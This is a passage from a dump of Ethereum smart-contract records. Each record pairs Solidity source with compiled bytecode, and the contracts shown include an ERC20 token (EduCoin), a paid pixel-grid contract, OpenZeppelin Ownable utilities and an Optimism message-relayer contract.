OwnershipTransferred(oldOwner, newOwner); } }
0x608060405234801561001057600080fd5b50600436106101175760003560e01c80636352211e116100a85780636352211e1461020a57806370a082311461021d578063715018a6146102305780638da5cb5b1461023857806395d89b4114610240578063a22cb46514610248578063b88d4fde1461025b578063c87b56dd1461026e578063d85d3d2714610281578063e985e9c514610294578063f2fde38b146102a757600080fd5b806301ffc9a71461011c57806306fdde0314610144578063081812fc14610159578063095ea7b314610184578063162094c41461019957806318160ddd146101ac57806323b872dd146101be5780632f745c59146101d157806342842e0e146101e45780634f6ccce7146101f7575b600080fd5b61012f61012a3660046117d8565b6102ba565b60405190151581526020015b60405180910390f35b61014c6102cb565b60405161013b919061184d565b61016c610167366004611860565b61035d565b6040516001600160a01b03909116815260200161013b565b610197610192366004611890565b6103ea565b005b6101976101a7366004611965565b6104fa565b6009545b60405190815260200161013b565b6101976101cc3660046119ab565b610569565b6101b06101df366004611890565b61059a565b6101976101f23660046119ab565b610630565b6101b0610205366004611860565b61064b565b61016c610218366004611860565b6106de565b6101b061022b3660046119e7565b610755565b6101976107dc565b61016c610817565b61014c610826565b610197610256366004611a02565b610835565b610197610269366004611a3e565b610844565b61014c61027c366004611860565b61087c565b6101b061028f366004611ab9565b610887565b61012f6102a2366004611aed565b6108ea565b6101976102b53660046119e7565b610918565b60006102c5826109b8565b92915050565b6060600080546102da90611b20565b80601f016020809104026020016040519081016040528092919081815260200182805461030690611b20565b80156103535780601f1061032857610100808354040283529160200191610353565b820191906000526020600020905b81548152906001019060200180831161033657829003601f168201915b5050505050905090565b6000610368826109dd565b6103ce5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006103f5826106de565b9050806001600160a01b0316836001600160a01b0316036104625760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016103c5565b336001600160a01b038216148061047e575061047e81336108ea565b6104eb5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776044820152771b995c881b9bdc88185c1c1c9bdd995908199bdc88185b1b60421b60648201526084016103c5565b6104f583836109fa565b505050565b6000610505836106de565b90506001600160a01b038116331461055f5760405162461bcd60e51b815260206004820152601c60248201527f417661746172733a2063616c6c6572206973206e6f74206f776e65720000000060448201526064016103c5565b6104f58383610a68565b6105733382610af3565b61058f5760405162461bcd60e51b81526004016103c590611b5a565b6104f5838383610bbd565b60006105a583610755565b82106106075760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016103c5565b506001600160a01b03919091166000908152600760209081526040808320938352929052205490565b6104f583838360405180602001604052806000815250610844565b600061065660095490565b82106106b95760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016103c5565b600982815481106106cc576106cc611bab565b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b0316806102c55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016103c5565b60006001600160a01b0382166107c05760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016103c5565b506001600160a01b031660009081526003602052604090205490565b336107e5610817565b6001600160a01b03161461080b5760405162461bcd60e51b81526004016103c590611bc1565b6108156000610d64565b565b600b546001600160a01b031690565b6060600180546102da90611b20565b610840338383610db6565b5050565b61084e3383610af3565b61086a5760405162461bcd60e51b81526004016103c590611b5a565b61087684848484610e80565b50505050565b60606102c582610eb3565b600033610892610817565b6001600160a01b0316146108b85760405162461bcd60e51b81526004016103c590611bc1565b60095433906000906108cb906001611c0c565b90506108d78282611021565b6108e18185610a68565b9150505b919050565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b33610921610817565b6001600160a01b0316146109475760405162461bcd60e51b81526004016103c590611bc1565b6001600160a01b0381166109ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103c5565b6109b581610d64565b50565b60006001600160e01b0319821663780e9d6360e01b14806102c557506102c58261103b565b6000908152600260205260409020546001600160a01b0316151590565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610a2f826106de565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b610a71826109dd565b610ad45760405162461bcd60e51b815260206004820152602e60248201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60448201526d32bc34b9ba32b73a103a37b5b2b760911b60648201526084016103c5565b600082815260066020908152604090912082516104f592840190611729565b6000610afe826109dd565b610b5f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016103c5565b6000610b6a836106de565b9050806001600160a01b0316846001600160a01b03161480610ba55750836001600160a01b0316610b9a8461035d565b6001600160a01b0316145b80610bb55750610bb581856108ea565b949350505050565b826001600160a01b0316610bd0826106de565b6001600160a01b031614610c345760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b60648201526084016103c5565b6001600160a01b038216610c965760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103c5565b610ca183838361108b565b610cac6000826109fa565b6001600160a01b0383166000908152600360205260408120805460019290610cd5908490611c24565b90915550506001600160a01b0382166000908152600360205260408120805460019290610d03908490611c0c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b031603610e135760405162461bcd60e51b815260206004820152601960248201527822a9219b99189d1030b8383937bb32903a379031b0b63632b960391b60448201526064016103c5565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b610e8b848484610bbd565b610e9784848484611096565b6108765760405162461bcd60e51b81526004016103c590611c3b565b6060610ebe826109dd565b610f245760405162461bcd60e51b815260206004820152603160248201527f45524337323155524953746f726167653a2055524920717565727920666f72206044820152703737b732bc34b9ba32b73a103a37b5b2b760791b60648201526084016103c5565b60008281526006602052604081208054610f3d90611b20565b80601f0160208091040260200160405190810160405280929190818152602001828054610f6990611b20565b8015610fb65780601f10610f8b57610100808354040283529160200191610fb6565b820191906000526020600020905b815481529060010190602001808311610f9957829003601f168201915b505050505090506000610fd460408051602081019091526000815290565b90508051600003610fe6575092915050565b815115611018578082604051602001611000929190611c8d565b60405160208183030381529060405292505050919050565b610bb584611197565b61084082826040518060200160405280600081525061126f565b60006001600160e01b031982166380ac58cd60e01b148061106c57506001600160e01b03198216635b5e139f60e01b145b806102c557506301ffc9a760e01b6001600160e01b03198316146102c5565b6104f58383836112a2565b60006001600160a01b0384163b1561118c57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906110da903390899088908890600401611cbc565b6020604051808303816000875af1925050508015611115575060408051601f3d908101601f1916820190925261111291810190611cf9565b60015b611172573d808015611143576040519150601f19603f3d011682016040523d82523d6000602084013e611148565b606091505b50805160000361116a5760405162461bcd60e51b81526004016103c590611c3b565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610bb5565b506001949350505050565b60606111a2826109dd565b6112065760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016103c5565b600061121d60408051602081019091526000815290565b9050600081511161123d5760405180602001604052806000815250611268565b806112478461135a565b604051602001611258929190611c8d565b6040516020818303038152906040525b9392505050565b611279838361145a565b6112866000848484611096565b6104f55760405162461bcd60e51b81526004016103c590611c3b565b6001600160a01b0383166112fd576112f881600980546000838152600a60205260408120829055600182018355919091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0155565b611320565b816001600160a01b0316836001600160a01b031614611320576113208382611599565b6001600160a01b038216611337576104f581611636565b826001600160a01b0316826001600160a01b0316146104f5576104f582826116e5565b6060816000036113815750506040805180820190915260018152600360fc1b602082015290565b8160005b81156113ab578061139581611d16565b91506113a49050600a83611d45565b9150611385565b6000816001600160401b038111156113c5576113c56118ba565b6040519080825280601f01601f1916602001820160405280156113ef576020820181803683370190505b5090505b8415610bb557611404600183611c24565b9150611411600a86611d59565b61141c906030611c0c565b60f81b81838151811061143157611431611bab565b60200101906001600160f81b031916908160001a905350611453600a86611d45565b94506113f3565b6001600160a01b0382166114b05760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016103c5565b6114b9816109dd565b156115065760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016103c5565b6115126000838361108b565b6001600160a01b038216600090815260036020526040812080546001929061153b908490611c0c565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600060016115a684610755565b6115b09190611c24565b600083815260086020526040902054909150808214611603576001600160a01b03841660009081526007602090815260408083208584528252808320548484528184208190558352600890915290208190555b5060009182526008602090815260408084208490556001600160a01b039094168352600781528383209183525290812055565b60095460009061164890600190611c24565b6000838152600a60205260408120546009805493945090928490811061167057611670611bab565b90600052602060002001549050806009838154811061169157611691611bab565b6000918252602080832090910192909255828152600a909152604080822084905585825281205560098054806116c9576116c9611d6d565b6001900381819060005260206000200160009055905550505050565b60006116f083610755565b6001600160a01b039093166000908152600760209081526040808320868452825280832085905593825260089052919091209190915550565b82805461173590611b20565b90600052602060002090601f016020900481019282611757576000855561179d565b82601f1061177057805160ff191683800117855561179d565b8280016001018555821561179d579182015b8281111561179d578251825591602001919060010190611782565b506117a99291506117ad565b5090565b5b808211156117a957600081556001016117ae565b6001600160e01b0319811681146109b557600080fd5b6000602082840312156117ea57600080fd5b8135611268816117c2565b60005b838110156118105781810151838201526020016117f8565b838111156108765750506000910152565b600081518084526118398160208601602086016117f5565b601f01601f19169290920160200192915050565b6020815260006112686020830184611821565b60006020828403121561187257600080fd5b5035919050565b80356001600160a01b03811681146108e557600080fd5b600080604083850312156118a357600080fd5b6118ac83611879565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b60006001600160401b03808411156118ea576118ea6118ba565b604051601f8501601f19908116603f01168101908282118183101715611912576119126118ba565b8160405280935085815286868601111561192b57600080fd5b858560208301376000602087830101525050509392505050565b600082601f83011261195657600080fd5b611268838335602085016118d0565b6000806040838503121561197857600080fd5b8235915060208301356001600160401b0381111561199557600080fd5b6119a185828601611945565b9150509250929050565b6000806000606084860312156119c057600080fd5b6119c984611879565b92506119d760208501611879565b9150604084013590509250925092565b6000602082840312156119f957600080fd5b61126882611879565b60008060408385031215611a1557600080fd5b611a1e83611879565b915060208301358015158114611a3357600080fd5b809150509250929050565b60008060008060808587031215611a5457600080fd5b611a5d85611879565b9350611a6b60208601611879565b92506040850135915060608501356001600160401b03811115611a8d57600080fd5b8501601f81018713611a9e57600080fd5b611aad878235602084016118d0565b91505092959194509250565b600060208284031215611acb57600080fd5b81356001600160401b03811115611ae157600080fd5b610bb584828501611945565b60008060408385031215611b0057600080fd5b611b0983611879565b9150611b1760208401611879565b90509250929050565b600181811c90821680611b3457607f821691505b602082108103611b5457634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611c1f57611c1f611bf6565b500190565b600082821015611c3657611c36611bf6565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60008351611c9f8184602088016117f5565b835190830190611cb38183602088016117f5565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611cef90830184611821565b9695505050505050565b600060208284031215611d0b57600080fd5b8151611268816117c2565b600060018201611d2857611d28611bf6565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082611d5457611d54611d2f565b500490565b600082611d6857611d68611d2f565b500690565b634e487b7160e01b600052603160045260246000fdfea2646970667358221220449b297645ea4330807677d620b93b9ff9090d07b3e528aecdfbd504f63a580364736f6c634300080d0033
[ 5 ]
0xf263292e14d9d8ecd55b58dad1f1df825a874b7c
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract EduCoin is StandardToken { string public constant name = "EduCoin"; // solium-disable-line uppercase string public constant symbol = "EDU"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 15 * (10 ** 9) * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function EduCoin() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a35780632ff2e9dc146101cb578063313ce567146101de578063661884631461020757806370a082311461022957806395d89b4114610248578063a9059cbb1461025b578063d73dd6231461027d578063dd62ed3e1461029f575b600080fd5b34156100c957600080fd5b6100d16102c4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a03600435166024356102fb565b604051901515815260200160405180910390f35b341561018957600080fd5b610191610367565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a036004358116906024351660443561036d565b34156101d657600080fd5b6101916104ed565b34156101e957600080fd5b6101f16104fd565b60405160ff909116815260200160405180910390f35b341561021257600080fd5b61016a600160a060020a0360043516602435610502565b341561023457600080fd5b610191600160a060020a03600435166105fc565b341561025357600080fd5b6100d1610617565b341561026657600080fd5b61016a600160a060020a036004351660243561064e565b341561028857600080fd5b61016a600160a060020a0360043516602435610760565b34156102aa57600080fd5b610191600160a060020a0360043581169060243516610804565b60408051908101604052600781527f456475436f696e00000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561038457600080fd5b600160a060020a0384166000908152602081905260409020548211156103a957600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156103dc57600080fd5b600160a060020a038416600090815260208190526040902054610405908363ffffffff61082f16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461043a908363ffffffff61084116565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610480908363ffffffff61082f16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6b3077b58d5d3783919800000081565b601281565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561055f57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610596565b61056f818463ffffffff61082f16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051908101604052600381527f4544550000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561066557600080fd5b600160a060020a03331660009081526020819052604090205482111561068a57600080fd5b600160a060020a0333166000908152602081905260409020546106b3908363ffffffff61082f16565b600160a060020a0333811660009081526020819052604080822093909355908516815220546106e8908363ffffffff61084116565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610798908363ffffffff61084116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561083b57fe5b50900390565b60008282018381101561085057fe5b93925050505600a165627a7a72305820fee5b4a1550304701664c3d98b5a0b6cff45ebce9f8897868fd90b0185d8adb30029
[ 38 ]
0xf2637bbf885487be33aa264f2e5224e14aa47b53
pragma solidity 0.4.21; contract pixelgrid { uint8[1000000] public pixels; address public manager; address public owner = 0x668d7b1a47b3a981CbdE581bc973B047e1989390; event Updated(); function pixelgrid() public { manager = msg.sender; } function setColors(uint32[] pixelIndex, uint8[] color) public payable { require(pixelIndex.length < 256); require(msg.value >= pixelIndex.length * 0.0001 ether || msg.sender == manager); require(color.length == pixelIndex.length); for (uint8 i=0; i<pixelIndex.length; i++) { pixels[pixelIndex[i]] = color[i]; } emit Updated(); } function getColors(uint32 start) public view returns (uint8[50000] ) { require(start < 1000000); uint8[50000] memory partialPixels; for (uint32 i=0; i<50000; i++) { partialPixels[i]=pixels[start+i]; } return partialPixels; } function collectFunds() public { require(msg.sender == manager || msg.sender == owner); address contractAddress = this; owner.transfer(contractAddress .balance); } function () public payable { // dont receive ether via fallback } }
0x6060604052600436106100775763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663481c6a7581146100795780635b980628146100a85780638da5cb5b146100bb5780638da7f232146100ce578063cc79eaf0146100fa578063feee813914610150575b005b341561008457600080fd5b61008c6101d4565b604051600160a060020a03909116815260200160405180910390f35b34156100b357600080fd5b6100776101e4565b34156100c657600080fd5b61008c61025f565b34156100d957600080fd5b6100e460043561026f565b60405160ff909116815260200160405180910390f35b341561010557600080fd5b61011663ffffffff60043516610298565b604051808262186a0080838360005b8381101561013d578082015183820152602001610125565b5050505090500191505060405180910390f35b61007760046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061032f95505050505050565b617a1254600160a060020a031681565b617a125460009033600160a060020a03908116911614806102145750617a135433600160a060020a039081169116145b151561021f57600080fd5b50617a13543090600160a060020a039081169082163180156108fc0290604051600060405180830381858888f19350505050151561025c57600080fd5b50565b617a1354600160a060020a031681565b600081620f4240811061027e57fe5b60209182820401919006915054906101000a900460ff1681565b6102a0610434565b6102a8610434565b6000620f424063ffffffff8516106102bf57600080fd5b5060005b61c3508163ffffffff16101561032857600063ffffffff85830116620f424081106102ea57fe5b602081049091015460ff601f9092166101000a9004168263ffffffff831661c350811061031357fe5b60ff90921660209290920201526001016102c3565b5092915050565b600061010083511061034057600080fd5b8251655af3107a400002341015806103675750617a125433600160a060020a039081169116145b151561037257600080fd5b825182511461038057600080fd5b5060005b82518160ff16101561040357818160ff168151811061039f57fe5b906020019060200201516000848360ff16815181106103ba57fe5b9060200190602002015163ffffffff16620f424081106103d657fe5b602091828204019190066101000a81548160ff021916908360ff1602179055508080600101915050610384565b7ff2e795d4a33ae9a0d3282888375b8ae781ea4de1cbf101ac96150aa95ccff0b460405160405180910390a1505050565b62186a0060405190810160405261c350815b60008152600019909101906020018161044657905050905600a165627a7a72305820177d5b2b4adb269813a49e492ce738cfb07969278b44cbfddb7e9e9a4d3298d40029
[ 12 ]
0xF26391FBB1f77481f80a7d646AC08ba3817eA891
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Interface Imports */ import { iOVM_L1CrossDomainMessenger } from "../../../iOVM/bridge/messaging/iOVM_L1CrossDomainMessenger.sol"; import { iOVM_L1MultiMessageRelayer } from "../../../iOVM/bridge/messaging/iOVM_L1MultiMessageRelayer.sol"; /* Library Imports */ import { Lib_AddressResolver } from "../../../libraries/resolver/Lib_AddressResolver.sol"; /** * @title OVM_L1MultiMessageRelayer * @dev The L1 Multi-Message Relayer contract is a gas efficiency optimization which enables the * relayer to submit multiple messages in a single transaction to be relayed by the L1 Cross Domain * Message Sender. * * Compiler used: solc * Runtime target: EVM */ contract OVM_L1MultiMessageRelayer is iOVM_L1MultiMessageRelayer, Lib_AddressResolver { /*************** * Constructor * ***************/ /** * @param _libAddressManager Address of the Address Manager. */ constructor( address _libAddressManager ) Lib_AddressResolver(_libAddressManager) {} /********************** * Function Modifiers * **********************/ modifier onlyBatchRelayer() { require( msg.sender == resolve("OVM_L2BatchMessageRelayer"), "OVM_L1MultiMessageRelayer: Function can only be called by the OVM_L2BatchMessageRelayer" ); _; } /******************** * Public Functions * ********************/ /** * @notice Forwards multiple cross domain messages to the L1 Cross Domain Messenger for relaying * @param _messages An array of L2 to L1 messages */ function batchRelayMessages( L2ToL1Message[] calldata _messages ) override external onlyBatchRelayer { iOVM_L1CrossDomainMessenger messenger = iOVM_L1CrossDomainMessenger( resolve("Proxy__OVM_L1CrossDomainMessenger") ); for (uint256 i = 0; i < _messages.length; i++) { L2ToL1Message memory message = _messages[i]; messenger.relayMessage( message.target, message.sender, message.message, message.messageNonce, message.proof ); } } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /** * @title iOVM_CrossDomainMessenger */ interface iOVM_CrossDomainMessenger { /********** * Events * **********/ event SentMessage(bytes message); event RelayedMessage(bytes32 msgHash); event FailedRelayedMessage(bytes32 msgHash); /************* * Variables * *************/ function xDomainMessageSender() external view returns (address); /******************** * Public Functions * ********************/ /** * Sends a cross domain message to the target messenger. * @param _target Target contract address. * @param _message Message to send to the target. * @param 